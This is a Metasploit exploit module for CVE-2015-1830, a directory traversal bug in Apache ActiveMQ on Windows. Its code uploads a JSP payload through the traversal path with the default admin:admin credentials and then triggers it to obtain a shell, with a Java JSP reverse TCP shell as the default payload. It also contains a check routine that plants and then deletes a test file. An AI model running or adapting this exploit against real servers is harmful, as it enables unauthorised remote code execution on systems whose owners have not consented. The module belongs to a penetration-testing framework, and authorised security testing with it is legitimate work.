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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
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        'Description' => %q{
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          This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
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          ActiveMQ 5.x before 5.11.2 for Windows.
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          The module tries to upload a JSP payload to the /admin directory via the traversal
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          path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
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          credentials admin:admin (or other credentials provided by the user). It then issues
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          an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
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          payload and obtain a shell.
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        },
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        'Author' => [
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          'David Jorm', # Discovery and exploit
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          'Erik Wynter' # @wyntererik - Metasploit
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        ],
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        'References' => [
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          [ 'CVE', '2015-1830' ],
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          [ 'EDB', '40857'],
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          [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
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        ],
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        'Privileged' => false,
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        'Platform' => %w[win],
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        'Targets' => [
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          [
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            'Windows Java',
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            {
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              'Arch' => ARCH_JAVA,
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              'Platform' => 'win'
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            }
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          ],
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        ],
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        'DisclosureDate' => '2015-08-19',
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        'License' => MSF_LICENSE,
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        'DefaultOptions' => {
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          'RPORT' => 8161,
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          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
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        },
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [ CRASH_SAFE ],
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          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
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          'Reliability' => [ REPEATABLE_SESSION ]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
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      OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']),
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      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
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      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
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    ])
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  end
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  def check
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    print_status('Running check...')
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    testfile = Rex::Text.rand_text_alpha(10)
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    testcontent = Rex::Text.rand_text_alpha(10)
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    send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
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      'headers' => {
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        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
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      },
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      'method' => 'PUT',
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      'data' => "<% out.println(\"#{testcontent}\");%>"
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    })
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    res1 = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
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      'headers' => {
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        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
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      },
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      'method' => 'GET'
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    })
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    if res1 && res1.body.include?(testcontent)
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      send_request_cgi(
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        {
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          'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
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          'headers' => {
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            'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
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          },
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          'method' => 'DELETE'
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        },
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        1
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      )
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      return Exploit::CheckCode::Vulnerable
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status('Uploading payload...')
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    testfile = Rex::Text.rand_text_alpha(10)
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    vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") # This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.
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    send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
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      'headers' => {
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        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
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      },
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      'method' => 'PUT',
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      'data' => payload.encoded
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    })
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    print_status('Payload sent. Attempting to execute the payload.')
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
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      'headers' => {
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        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
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      },
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      'method' => 'GET'
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    })
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    if res && res.code == 200
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      print_good('Payload executed!')
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    else
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      fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
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    end
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  end
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end
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